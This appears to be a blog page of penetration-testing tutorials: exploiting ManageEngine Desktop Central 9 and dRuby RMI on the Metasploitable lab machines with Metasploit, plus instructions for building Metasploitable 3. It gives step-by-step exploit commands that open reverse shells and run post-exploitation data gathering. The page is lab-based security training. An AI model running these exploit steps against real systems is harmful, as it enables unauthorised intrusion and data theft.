Metasploitable 3: Exploiting ManageEngine Desktop Central 9

In the last hacking tutorial we have installed the Metasploitable 3 virtual machine on Windows 10 using Virtualbox, Vagrant and Packer. After setting up the virtual machine with Windows Server 2008 the installation script installed and configured all vulnerable services and applications. One of these vulnerable applications is ManageEngine Desktop Central 9. ManageEngine Desktop Central 9 contains several vulnerabilities which we will learn to exploit with Metasploit in this tutorial.

ManageEngine Desktop Central is an integrated desktop and mobile device management application that helps system administrators in managing servers, clients devices and mobile devices from a central location. The software includes functionality for patch management, software deployment, remote control and many other features to manage IT assets and configuration. ManageEngine Desktop Central is managed through a web application that is running on port 8383 on Metasploitable 3.

Exploiting ManageEngine Desktop Central 9

Let’s start with running an Nmap service scan on the Metasploitable 3 target to get an overview of the services that are running on this machine. Instead of scanning the Nmap 1.000 common port range we will be running the scan on all 65.536 TCP ports by adding the -p- flag to the command. Start the scan by running the following command:

nmap -sV -p- 172.28.128.3

Metasploitable 3 Nmap scan

The scan results indicates that the Metasploitable 3 machines is running a lot of services, including an Apache HTTPD service on port 8383.

Accessing the Desktop Central administration interface

Let’s verify that Apache is running the ManageEngine Desktop Central 9 web interface by accessing the following URL from a browser:

https://172.28.128.3:8383

ManageEngine Desktop Central login page

When we access the URL using the browser we are presented with a login page. The login form at the right side of the page indicates the default credentials. We only have to press the ‘Sign in’ button because the credentials have been entered in the login for already:

ManageEngine Desktop default credentials

Clicking the ‘Sign in’ button takes us to the Desktop Central 9 administrator page.

From this point on it should be easy to turn this new access level in a shell on the target machine. This can usually be done by locating known vulnerabilities or by (mis)using the default functionality on this software. Especially on sensitive and feature rich applications like Desktop Central this should not be too hard. To turn regular functionality into a shell we should be looking out for functionality to upload files, install plugin’s, edit system files and anything else that allows us to execute code or commands on the target system.

Searching for interesting information

Another important step to take at this point is to search for (sensitive) interesting information on this renewed access level. Interesting information is information that can help us further in the process of identifying vulnerabilities and in the exploitation process. Examples of interesting information are the version and build numbers, credentials, administrator notes, tickets, configuration parameters, system information and anything other information that tells us something interesting about the target.

In the header of the administration panel we can find the version and build numbers: ManageEngine Desktop Central 9 Build 91084. This is great information that we can use to search for known vulnerabilities for this specific version and build of Desktop Central 9.

ManageEngine Desktop Central administration page

When we search Google for known vulnerabilities for this version of Desktop Central and exploit code we quickly end up on the following page on the Rapid 7 website:

https://www.rapid7.com/db/modules/exploit/windows/http/manageengine_connectionid_write

Rapid7 ManageEngine Desktop Central FileUploadServlet ConnectionId vulnerability description.

As we can see the version and build number exactly match the numbers on the administration panel. Let’s run this exploit from Metasploit in the following section.

Exploiting Desktop Central 9 with Metasploit

In the following steps we will be getting shell access on the Metasploitable 3 machine. Let’s fire up Metasploit by running the following command:

msfconsole

Run the following command on msfconsole to select the ManageEngine Desktop Central exploit we’ve found earlier on the Rapid 7 website:

use exploit/windows/http/manageengine_connectionid_write

Msfconsole started.

The ‘show options’ command reveals that we have to set 3 required options:

• RHOST: Target host IP
• RPORT: The port that ManageEngine Desktop Central web interface is running on.
• TARGETURI: The base path for the ManageEngine Desktop Central web interface.

We’ll keep the targeturi and rport values default. This requires us to only set the target host parameter by running the following command:

set RHOST 172.28.128.3

Options for manageengine_connectionid_write exploit.

Finally we specify the payload and its required fields with the following commands:

set payload windows/meterpreter/reverse_tcp

set lhost 172.28.128.4

Meterpreter payload settings.

Finally type ‘run’ or ‘exploit’ to execute the exploit.

Meterpreter shell on Metasploitable 3

If everything went successful we now have a shell on the Metasploitable 3 host. From this point we can work on privilege escalation and run post exploitation techniques. The Metasploitable 3 machines contains many more vulnerabilities that we will exploit in upcoming tutorials. Some of the even require to use pivoting techniques which we will demonstrate in the next Metasploitable 3 hacking tutorial.

Read More

How to setup Metasploitable 3 on Windows 10

In this tutorial we will demonstrate how to install Metasploitable 3 in a Windows 10 environment using Vagrant, Packer and Virtualbox. So far we did a number of tutorials on hacking the Metasploitable 2 Linux machine on Hacking Tutorials. We’ve demonstrated how to install Metasploitable 2, how to enumerate it and perform a vulnerability assessment, and finally how to exploit it. As like many vulnerable machines that are for download Metasploitable 2 is a Linux machine. Because of strict licensing policies it a challenge to provide vulnerable Windows machines without breaking any licensing rules. Unfortunately you cannot just download the VM but you have to configure it yourself using a few tools and a Windows 2008 evaluation copy which is downloaded from the Microsoft website.

The installation process is pretty straightforward and should not cause too much trouble when the right dependencies are installed. The biggest part of the installation process is handled automatically by the install scripts. The full installation procedure might take a couple hours in total, be prepared to spend time on the installation of Metasploitable 3.

Before we can continue with the installation procedure we need to install a few dependencies:

• Packer v1.0.0: https://www.packer.io/downloads.html
• Vagrant 1.9.1: https://releases.hashicorp.com/vagrant/1.9.1/
• Vagrant Reload Plugin v0.0.1: https://github.com/aidanns/vagrant-reload
• Virtualbox 5.1.14: https://www.virtualbox.org/wiki/Downloads

In order to avoid (a lot of) trouble it is recommended to download the exact version as mentioned above. The success rate of the installation script depends greatly on the build environment. For your reference, we’re building the Metasploitable 3 machine on Windows 10 Enterprise x64 Build 15063.

Are you installing Metasploitable 3 on a VM that is running on VMware ESXi like us? Don’t forget to enable ‘Hardware virtualization’ for the VM CPU.

Before we can build the VM we have to install Vagrant and Virtualbox using the downloaded installation files. We will not demonstrate the installation procedure for this software as it’s very straightforward and only involves clicking ‘next’ a couple times. Next we need to install the Vagrant reload plugin and we need to download Packer.

Install Vagrant reload plugin

Change the directory on the command line to the directory where you have downloaded and unpacked the Vagrant Reload plugin. Then run the following command to install the plugin:

vagrant plugin install vagrant-reload

Vagrant plugin vagrant-reload successfully installed.

Now that we have installed the Vagrant reload plugin we can continue with downloading Packer.

Download Packer

The next step is to download Packer from the following download page:

https://www.packer.io/downloads.html

Download the latest version of Packer and unpack it the Metasploitable 3 master directory. Storing the Packer binary in the Metasploitable 3 directory allows us to easily execute it to setup the VM without setting up system variables or using full paths to the binary. After copying the Packer file to the Metasploitable 3 directory we can start setting up the virtual machine.

Creating the Metasploitable 3 VM

Now that we have all pre-requisites installed we can use Packer to setup the Virtual Machine in Virtualbox. Move the command line to the Metasploitable 3 location and run the following command from an elevated command line:

packer build windows_2008_r2.json

Building the Metasploitable 3 VM will take a while.

This command will take a while to complete because first it will download a Windows 2008 evaluation copy from the Microsoft website. When the download is finished, the script will continue to setup the virtual machine in Virtualbox and install Windows 2008 on the virtual machine. The entire process will take anywhere from 30-60 minutes. This depends on the configuration of your host machine and the speed of your internet connection. When the script is finished the output looks as following:

Metasploitable 3 build process finished without errors.

When the script is finished run the following command:

vagrant box add windows_2008_r2_virtualbox.box --name=metasploitable3

Metasploitable 3 added to the Vagrant environment.

Finally we have to run the one more command to have Vagrant execute the scripts that install the vulnerable software on the Windows server 2008 virtual machine. Run the following command and expect to wait another 15-30 minutes until completion:

vagrant up

This will conclude the installation of Metasploitable 3 and you should be able to start the VM within Virtualbox.

Metasploitable 3 installation errors with Vagrant

The Metasploitable 3 setup process is a bit tricky and prone to errors related to specific versions of the prerequisites. Most errors I faced while writing this tutorial were avoided by using the versions of Vagrant, Packer & Virtualbox mentioned earlier in this tutorial. Especially the latest version of Virtualbox resulted in many errors after issuing the vagrant up command.

During the installation of the vulnerable software you might get an error related to the virtual machine state: “The guest machine entered an invalid state while waiting for it to boot.”. When this happens reboot the virtual machine and run the vagrant up command again.

Another error that may occur during the installation of vulnerable software is the following: “chocolatey is not recognized as an internal or external command”. The error didn’t only apply to Chocolatey but also some other scripts. To get rid of this error I’ve added the following directory to the Path variable:

C:\Users\admin\Desktop\metasploitable-3-master\metasploitable-3-master\scripts\installs\

This will make all the scripts in this directory accessible without using a full path. Eventually I had to run the ‘Vagrant up’ command several times before it finished without errors.

Running Kali Linux VM on the same host

If you’re running your Kali Linux virtual machine in Virtualbox on the same host you have to make sure that you set the correct network settings. Otherwise you won’t be able to connect to the Metasploitable 3 machine from your Kali Linux attack box. You’re not required to alter the network settings for the Metasploitable 3 machine, only for the Kali Linux VM:

Choose: Host-only adapter.

Booting Metasploitable 3

Now that we’ve completed the installation procedure for Metasploitable 2 we are ready to boot in in Virtualbox. The default username for the virtual machine is “vagrant” with password “vagrant”. Even though the installation process produced quiet some errors there were none that we couldn’t fix quickly (Google is your friend!). I must say that the developers of Metasploitable 3 did a great job on the installation procedure and providing a vulnerable Windows machine to the public.

Read More

Hacking dRuby RMI Server 1.8

In this tutorial we will be hacking dRuby using a remote code execution vulnerability in the dRuby RMI server that is running on Metasploitable 2. dRuby is a distributed object system for Ruby and is written in Ruby. dRuby uses its own protocol and binds itself to a URI such as druby://example.com on port 8787. By default port 8787 is not scanned by Nmap since it is not included in the list of 1.000 common ports which are scanned by default when no additional port options are specified. Open port 8787 on Metasploitable 2 would remain unnoticed unless we would be using the -p- flag to scan all 65535 ports or use a port range which includes port 8787. This example shows us how important it is to always run a full port scan on a target when performing network enumeration. We could easily be missing crucial information which can be used to compromise the target.

Hacking dRuby RMI Server 1.8 with Metasploit

We will start the dRuby hacking tutorial with scanning port 8787 with Nmap and then we will be performing a vulnerability assessment. Than we will be hacking dRuby RMI server using Metasploit by exploiting the found vulnerabilities. We will conclude this tutorial with a Metasploit post exploitation script to gather information from the compromised system and review the lessons learned.

Nmap scan on port 8787

Let’s run the following command on the console to perform a Nmap Service scan on Metasploitable on port 8787:

nmap -sV [IP] -p8787

Nmap portscan on port 8787.

As we already expected port 8787 is open and Ruby DRb RMI server version 1.8 is running on the target host. Let’s see what vulnerabilities are available for this version of distributed Ruby (dRuby) using searchsploit.

Searchsploit dRuby exploits

Let’s try to search the searchsploit database using an exact match search using the -e flag:

searchsploit -e Ruby DRb RMI

No results.

The exact match query does not return any results. This means that we have to use a more general search term. We could be removing RMI from the search term and if that does not return any results either, we can just search for Ruby exploits and go through the results one by one. Personally I would suggest to use this approach, where we go from specific search terms to general search terms, when a general search term returns too many results. For example the search term WordPress returns 100’s of results and ‘WordPress 3’ only 9.

When we search Searchsploit for Ruby exploit using the following command we are presented with less than 30 results:

searchsploit ruby

Search results for ruby in searchsploit.

When we go through the list of exploits we can see 2 exploits for Distributed Ruby that are worth to further examine. Let’s narrow the results by searching for ‘Distributed Ruby’:

Distributed Ruby exploits.

Remember to put in the -e flag in our command to only show results that have a direct match with this search term. Let’s check out the Distributed Ruby Send instance_eval/syscall Code Execution exploit. When we use the following command we can get some additional information about the explout and the path to the exploit is copied to the clipboard:

searchsploit -p 17058

Copy the path to the exploit to the clipboard.

Next we can check the file contents using the following command:

cat /usr/share/exploitdb/platforms/linux/remote/17058.rb

Metasploit: hacking dRuby RMI server 1.8

We can see that we’re dealing with a Metasploit exploit here. Let’s fire up Metasploit and search for the exploit there. Run the following command to start the msfconsole:

msfconsole

Since we know the name of the exploit we can search only the name field using the following command:

search name:Distributed Ruby Send instance_eval/syscall Code Execution

Distributed Ruby Send instance_eval/syscall Code Execution

And then select the exploit using the use command:

use exploit/linux/misc/drb_remote_codeexec

Let’s set a Ruby reverse shell payload for this exploit first using the following command:

set payload cmd/unix/reverse_ruby

Use the options command to show the available options for this exploit:

options

Exploit options.

Next we need to set the LHOST for the payload:

set LHOST [IP attack box]

And we set the URI using the following command (the expected format is mentioned in the description):

set URI druby://[Target IP]:8787

The listening port can be left as is. All that remains now is running the exploit using the exploit command and if everything is done correctly a reverse shell with root privileges is returned to the attack box:

Root shell!

Post exploitation information gathering

Let’s go one step further and have a look at one of the post exploitation/information gathering modules available for Linux, the enum_system module. We can select this module by backgrounding the command shell session 1 using CTRL + Z. It will than ask us to background the current session, confirm with ‘y’.

Press y to background the session.

Next select the enum_system module using the following command:

use enum_system

Or:

use post/linux/gather/enum_system

Type the info command to see what this module exactly does:

Use the info command for a module description.

The description tells us that the modules gathers system information such as installed packages, installed services, mount information, user list, user bash history and cron jobs.

To run this post gather module we need to point the module to the active session by using the following command:

set session 1

Now type run to execute the module:

run

Post exploitation/information gathering module finished successfully.

We can see that all information is downloaded to our attack box and stored at the following location:

/root/.msf4/loot/

To examine the files you can just simply cd to the location and cat the contents of the text files to the console.

Lessons learned

In this exploiting tutorial we have learned a few important things when penetration testing. Let’s review the lessons learned in this Hacking Tutorial.

Scan all ports

The first thing we’ve learned is that we need to scan all available ports on a traget host when performing a penetration test. When we’re running the default NMap port scans only the top 1000 ports are scanned. In this tutorial we’ve compromised a host using a service running on a port which was not in NMap’s default port list.

Search exploits in an effective and efficient way

We’ve also learned how to use searchsploit effectively when too many results are returned or none. A good approach when a general search term returns to many results is to go from very specific to more general search terms. Very specific could be the service name including the version number and a more general search term could be only the service name. In this tutorial the search term ‘Ruby DRB RMI’ didn’t return any results but ‘Distributed Ruby’ got us the results we were looking for.

Read More